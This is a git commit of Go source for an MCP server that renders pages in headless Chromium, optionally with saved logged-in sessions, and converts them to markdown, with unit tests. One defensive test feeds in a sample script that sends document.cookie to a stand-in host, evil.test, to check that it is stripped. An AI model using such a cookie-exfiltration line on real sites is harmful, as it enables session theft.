initial commit

2026-10-14 00:58:34 +00:00 · 2026-06-12 02:48:30 +01:00
commit baf1e740be
25 changed files with 3203 additions and 0 deletions
@@ -0,0 +1,38 @@
+package reader
+
+import (
+	"context"
+	"fmt"
+
+	"github.com/chromedp/cdproto/cdp"
+	"github.com/chromedp/chromedp"
+)
+
+// extractHTML returns the outer HTML of the first element matching
+// selector, or the full document HTML when selector is empty. It runs as
+// a separate chromedp.Run so a slow extraction does not re-do navigation.
+func (r *Reader) extractHTML(ctx context.Context, selector string) (string, error) {
+	if selector == "" {
+		var html string
+		if err := chromedp.Run(ctx, chromedp.OuterHTML("html", &html, chromedp.ByQuery)); err != nil {
+			return "", fmt.Errorf("read document: %w", err)
+		}
+		return html, nil
+	}
+
+	// Verify the selector matches at least one node; an empty result is
+	// almost always a caller mistake, not an empty page.
+	var nodes []*cdp.Node
+	if err := chromedp.Run(ctx, chromedp.Nodes(selector, &nodes, chromedp.ByQuery)); err != nil {
+		return "", fmt.Errorf("locate %q: %w", selector, err)
+	}
+	if len(nodes) == 0 {
+		return "", fmt.Errorf("selector %q matched no elements", selector)
+	}
+
+	var html string
+	if err := chromedp.Run(ctx, chromedp.OuterHTML(selector, &html, chromedp.ByQuery)); err != nil {
+		return "", fmt.Errorf("extract %q: %w", selector, err)
+	}
+	return html, nil
+}
@@ -0,0 +1,51 @@
+package reader
+
+import (
+	htmltomarkdown "github.com/JohannesKaufmann/html-to-markdown/v2"
+	"github.com/JohannesKaufmann/html-to-markdown/v2/converter"
+	"github.com/JohannesKaufmann/html-to-markdown/v2/plugin/base"
+	"github.com/JohannesKaufmann/html-to-markdown/v2/plugin/commonmark"
+	"github.com/JohannesKaufmann/html-to-markdown/v2/plugin/strikethrough"
+	"github.com/JohannesKaufmann/html-to-markdown/v2/plugin/table"
+)
+
+// newConverter returns a Converter preconfigured with the plugins that match
+// typical web content. The domain (for resolving relative URLs) is applied
+// per-call via WithDomain, so the converter itself stays domain-agnostic.
+func newConverter() *converter.Converter {
+	return converter.NewConverter(
+		converter.WithPlugins(
+			base.NewBasePlugin(),
+			commonmark.NewCommonmarkPlugin(
+				commonmark.WithStrongDelimiter("**"),
+				commonmark.WithEmDelimiter("_"),
+				commonmark.WithBulletListMarker("-"),
+				commonmark.WithHeadingStyle(commonmark.HeadingStyleATX),
+				commonmark.WithCodeBlockFence("```"),
+				commonmark.WithHorizontalRule("---"),
+			),
+			strikethrough.NewStrikethroughPlugin(),
+			table.NewTablePlugin(
+				table.WithHeaderPromotion(true),
+				table.WithSkipEmptyRows(true),
+			),
+		),
+		converter.WithEscapeMode(converter.EscapeModeSmart),
+	)
+}
+
+// HTMLToMarkdown converts a full HTML document or fragment to markdown,
+// resolving relative URLs against baseURL. An empty baseURL leaves relative
+// URLs untouched. For convenience a base set of plugins (commonmark, tables,
+// strikethrough) is always enabled.
+func HTMLToMarkdown(html, baseURL string) (string, error) {
+	conv := newConverter()
+	if baseURL == "" {
+		return conv.ConvertString(html)
+	}
+	return conv.ConvertString(html, converter.WithDomain(baseURL))
+}
+
+// Ensure the htmltomarkdown import is referenced for IDE/links; the package
+// alias above keeps us flexible if we want to switch to htmltomarkdown.* APIs.
+var _ = htmltomarkdown.ConvertString
@@ -0,0 +1,256 @@
+package reader_test
+
+import (
+	"strings"
+	"testing"
+
+	"github.com/lukaszraczylo/mcp-readitall/internal/reader"
+	"github.com/stretchr/testify/assert"
+	"github.com/stretchr/testify/require"
+)
+
+// =============================================================================
+// HTMLToMarkdown
+// =============================================================================
+
+func TestHTMLToMarkdown_BasicElements(t *testing.T) {
+	tests := []struct {
+		name   string
+		html   string
+		domain string
+		want   []string // substrings that must all appear in the output, in order
+		// optional: substrings that must NOT appear
+		notWant []string
+	}{
+		// ===== GOOD CASES =====
+		{
+			name: "headings hierarchy",
+			html: `<h1>Title</h1><h2>Sub</h2><h3>SubSub</h3>`,
+			want: []string{"# Title", "## Sub", "### SubSub"},
+		},
+		{
+			name: "paragraphs and emphasis",
+			html: `<p>This is <strong>bold</strong> and <em>italic</em> text.</p>`,
+			want: []string{"This is **bold** and _italic_ text."},
+		},
+		{
+			name: "unordered list",
+			html: `<ul><li>alpha</li><li>beta</li><li>gamma</li></ul>`,
+			want: []string{"- alpha", "- beta", "- gamma"},
+		},
+		{
+			name: "ordered list",
+			html: `<ol><li>first</li><li>second</li></ol>`,
+			want: []string{"1. first", "2. second"},
+		},
+		{
+			name: "inline code",
+			html: `<p>Use <code>fmt.Println</code> to print.</p>`,
+			want: []string{"Use `fmt.Println` to print."},
+		},
+		{
+			name: "fenced code block",
+			html: `<pre><code class="language-go">package main
+func main() {}
+</code></pre>`,
+			want: []string{"```", "package main", "func main()"},
+		},
+		{
+			name: "table",
+			html: `<table><tr><th>Name</th><th>Age</th></tr><tr><td>Alice</td><td>30</td></tr><tr><td>Bob</td><td>25</td></tr></table>`,
+			// Cells are right-padded to align columns, so we look for the
+			// left-delimited portion (" 30 " / " 25 ") without pinning
+			// trailing whitespace.
+			want: []string{"| Name", "| Age", "| Alice", "| 30", "| Bob", "| 25"},
+		},
+		{
+			name: "horizontal rule",
+			html: `<p>before</p><hr><p>after</p>`,
+			want: []string{"before", "---", "after"},
+		},
+
+		// ===== RELATIVE URLS =====
+		{
+			name:   "absolute links stay absolute",
+			html:   `<a href="https://other.test/x">other</a>`,
+			domain: "https://this.test",
+			want:   []string{`[other](https://other.test/x)`},
+		},
+		{
+			name:   "relative link is resolved against domain",
+			html:   `<a href="/about">about</a>`,
+			domain: "https://this.test",
+			want:   []string{`[about](https://this.test/about)`},
+		},
+		{
+			name:   "relative image is resolved",
+			html:   `<img src="/logo.png" alt="logo">`,
+			domain: "https://this.test",
+			want:   []string{`![logo](https://this.test/logo.png)`},
+		},
+		{
+			name:   "no domain leaves relative links alone",
+			html:   `<a href="/about">about</a>`,
+			domain: "",
+			want:   []string{`[about](/about)`},
+		},
+
+		// ===== STRIKETHROUGH =====
+		{
+			name: "strikethrough",
+			html: `<p>old <del>removed</del> new</p>`,
+			want: []string{"old ~~removed~~ new"},
+		},
+
+		// ===== BAD / TRICKY INPUTS =====
+		{
+			name: "script and style are stripped",
+			html: `<p>visible</p><script>alert(1)</script><style>p{}</style><p>also visible</p>`,
+			want: []string{"visible", "also visible"},
+			notWant: []string{
+				"alert(1)",
+				"p{}",
+			},
+		},
+		{
+			name: "html comments are stripped",
+			html: `<p>before</p><!-- a comment --><p>after</p>`,
+			want: []string{"before", "after"},
+			notWant: []string{
+				"a comment",
+			},
+		},
+		{
+			name: "nested tags are flattened correctly",
+			html: `<div><p>outer <strong>with <em>nested</em> emphasis</strong></p></div>`,
+			want: []string{"outer **with _nested_ emphasis**"},
+		},
+
+		// ===== EDGE CASES =====
+		{
+			name: "empty string",
+			html: "",
+			want: []string{},
+		},
+		{
+			name: "whitespace only",
+			html: "   \n\t  ",
+			want: []string{},
+		},
+		{
+			name: "plain text without tags",
+			html: `just plain text`,
+			want: []string{"just plain text"},
+		},
+		{
+			name: "html entities are decoded in text",
+			html: `<p>5 &lt; 10 &amp; 10 &gt; 5</p>`,
+			// In EscapeModeSmart the library decodes &amp; to & but
+			// preserves &lt;/&gt; as entities so the output cannot be
+			// interpreted as raw HTML/Markdown by downstream renderers.
+			want: []string{"5 &lt; 10 & 10 &gt; 5"},
+		},
+		{
+			name: "deeply nested lists",
+			html: `<ul><li>one<ul><li>nested</li></ul></li><li>two</li></ul>`,
+			want: []string{"- one", "nested", "- two"},
+		},
+		{
+			name: "self-closing void elements do not break parser",
+			html: `<p>line one<br>line two<br><br>line four</p>`,
+			want: []string{"line one", "line two", "line four"},
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			t.Parallel()
+			got, err := reader.HTMLToMarkdown(tt.html, tt.domain)
+			require.NoError(t, err)
+
+			// Trim trailing whitespace from each want so test data is
+			// easier to read; markdown output may add trailing newlines.
+			for _, w := range tt.want {
+				assert.Contains(t, got, w, "expected substring %q in output:\n%s", w, got)
+			}
+			for _, nw := range tt.notWant {
+				assert.NotContains(t, got, nw, "unexpected substring %q in output:\n%s", nw, got)
+			}
+		})
+	}
+}
+
+func TestHTMLToMarkdown_RealisticArticle(t *testing.T) {
+	t.Parallel()
+	html := `
+<!DOCTYPE html>
+<html>
+<head><title>Sample</title></head>
+<body>
+  <nav><a href="/home">Home</a></nav>
+  <article>
+    <h1>How to Test</h1>
+    <p>Testing is <strong>important</strong>. See <a href="/docs">the docs</a>.</p>
+    <h2>Setup</h2>
+    <ol>
+      <li>Install Go</li>
+      <li>Run <code>go test ./...</code></li>
+    </ol>
+    <h2>Example</h2>
+    <pre><code class="language-go">package main
+import "fmt"
+func main() { fmt.Println("hi") }
+</code></pre>
+    <table>
+      <tr><th>Input</th><th>Output</th></tr>
+      <tr><td>1</td><td>one</td></tr>
+    </table>
+  </article>
+  <footer>Copyright 2026</footer>
+</body>
+</html>`
+
+	md, err := reader.HTMLToMarkdown(html, "https://example.test/blog")
+	require.NoError(t, err)
+
+	// Spot-check the key transformations
+	mustContain := []string{
+		"# How to Test",
+		"Testing is **important**",
+		"[the docs](https://example.test/docs)",
+		"## Setup",
+		"1. Install Go",
+		"2. Run `go test ./...`",
+		"## Example",
+		"```",
+		"package main",
+		"| Input | Output |",
+		"| 1     | one    |",
+	}
+	for _, s := range mustContain {
+		assert.Contains(t, md, s, "missing %q in:\n%s", s, md)
+	}
+}
+
+func TestHTMLToMarkdown_DoesNotLeakScriptOrStyle(t *testing.T) {
+	t.Parallel()
+	html := `<p>safe</p>
+<script type="text/javascript">
+  // secret token: ABCDEFG
+  window.location = 'https://evil.test/?x=' + document.cookie;
+</script>
+<style>body { background: url('http://evil.test/bg.png'); }</style>
+<p>also safe</p>`
+
+	md, err := reader.HTMLToMarkdown(html, "")
+	require.NoError(t, err)
+
+	// Output should not contain the malicious payload
+	assert.NotContains(t, md, "ABCDEFG")
+	assert.NotContains(t, md, "evil.test")
+	assert.NotContains(t, md, "document.cookie")
+
+	// But it should still contain the visible text
+	assert.Contains(t, strings.ToLower(md), "safe")
+	assert.Contains(t, strings.ToLower(md), "also safe")
+}
@@ -0,0 +1,166 @@
+// Package reader fetches pages through a headless browser, waits for the
+// page to settle (which is what makes SPA support work), and converts the
+// rendered HTML to markdown. It reuses per-host session state when
+// available so authenticated pages render as the logged-in user.
+package reader
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"log"
+	"strings"
+	"time"
+
+	"github.com/chromedp/chromedp"
+	"github.com/lukaszraczylo/mcp-readitall/internal/browser"
+)
+
+// Default values exposed so tool handlers can reference them.
+const (
+	DefaultTimeout = 30 * time.Second
+	MaxMarkdown    = 200_000 // hard ceiling on returned markdown size
+)
+
+// Reader is a thin facade over the Browser wrapper and session store.
+type Reader struct {
+	pw   *browser.Browser
+	sess *browser.SessionStore
+	log  *log.Logger
+}
+
+// New constructs a Reader. The store is consulted on every read to decide
+// whether to attach a saved storage state to the new browser context.
+func New(pw *browser.Browser, sess *browser.SessionStore, logger *log.Logger) *Reader {
+	if logger == nil {
+		logger = log.Default()
+	}
+	return &Reader{pw: pw, sess: sess, log: logger}
+}
+
+// ReadResult is the normalised output of a read operation.
+type ReadResult struct {
+	URL         string `json:"url"`
+	FinalURL    string `json:"final_url"`
+	Title       string `json:"title"`
+	Markdown    string `json:"markdown"`
+	UsedSession bool   `json:"used_session"`
+	Truncated   bool   `json:"truncated"`
+	Bytes       int    `json:"bytes"`
+}
+
+// ReadOptions controls a single Read call.
+type ReadOptions struct {
+	URL          string        // page to fetch
+	Selector     string        // optional CSS selector; if set, content is extracted from the matching element(s) only
+	WaitSelector string        // optional CSS selector to wait for before extracting (useful for SPA hydration)
+	Timeout      time.Duration // overall timeout for navigation + waits
+	MaxChars     int           // truncate markdown to roughly this many characters (0 = no truncation)
+}
+
+// Read fetches the URL through Chromium, waits for it to settle, optionally
+// narrows the content with a CSS selector, and converts the resulting HTML
+// to markdown.
+func (r *Reader) Read(parentCtx context.Context, opts ReadOptions) (*ReadResult, error) {
+	if opts.URL == "" {
+		return nil, errors.New("url is required")
+	}
+	if opts.Timeout == 0 {
+		opts.Timeout = DefaultTimeout
+	}
+	if opts.MaxChars == 0 {
+		opts.MaxChars = MaxMarkdown
+	}
+
+	timeoutCtx, cancel := context.WithTimeout(parentCtx, opts.Timeout)
+	defer cancel()
+
+	usedSession, statePath, err := r.resolveSession(opts.URL)
+	if err != nil {
+		return nil, err
+	}
+
+	cdpCtx, releaseBrowser, err := r.pw.NewContext(timeoutCtx, statePath)
+	if err != nil {
+		return nil, err
+	}
+	defer releaseBrowser()
+
+	r.log.Printf("read %s (session=%v)", opts.URL, usedSession)
+
+	var title, finalURL string
+	var html string
+
+	// Build the action chain. Cookies were already applied by NewContext
+	// (if a session exists). localStorage is applied post-navigation
+	// because it is origin-scoped.
+	actions := []chromedp.Action{
+		chromedp.Navigate(opts.URL),
+		chromedp.WaitReady("body"),
+	}
+	if statePath != "" {
+		actions = append(actions, chromedp.ActionFunc(func(ctx context.Context) error {
+			return browser.ApplyLocalStorageOnCurrentOrigin(ctx, statePath)
+		}))
+	}
+	// Small grace period so post-load JS (lazy components, hydration) has
+	// a chance to settle before we snapshot the HTML.
+	actions = append(actions,
+		chromedp.Sleep(500*time.Millisecond),
+	)
+	if opts.WaitSelector != "" {
+		actions = append(actions, chromedp.WaitVisible(opts.WaitSelector, chromedp.ByQuery))
+	}
+	actions = append(actions,
+		chromedp.Title(&title),
+		chromedp.Location(&finalURL),
+	)
+
+	if err := chromedp.Run(cdpCtx, actions...); err != nil {
+		return nil, fmt.Errorf("navigate: %w", err)
+	}
+
+	html, err = r.extractHTML(cdpCtx, opts.Selector)
+	if err != nil {
+		return nil, err
+	}
+
+	md, err := HTMLToMarkdown(html, finalURL)
+	if err != nil {
+		return nil, fmt.Errorf("convert to markdown: %w", err)
+	}
+
+	truncated := false
+	if len(md) > opts.MaxChars {
+		md = md[:opts.MaxChars] + "\n\n…[truncated]"
+		truncated = true
+	}
+
+	return &ReadResult{
+		URL:         opts.URL,
+		FinalURL:    finalURL,
+		Title:       strings.TrimSpace(title),
+		Markdown:    md,
+		UsedSession: usedSession,
+		Truncated:   truncated,
+		Bytes:       len(md),
+	}, nil
+}
+
+// resolveSession checks whether a saved session exists for the URL's host
+// and returns its path. An empty path means "no session, use a fresh
+// context".
+func (r *Reader) resolveSession(rawURL string) (bool, string, error) {
+	exists, err := r.sess.Exists(rawURL)
+	if err != nil {
+		return false, "", err
+	}
+	if !exists {
+		return false, "", nil
+	}
+	path, err := r.sess.StatePath(rawURL)
+	if err != nil {
+		return false, "", err
+	}
+	return true, path, nil
+}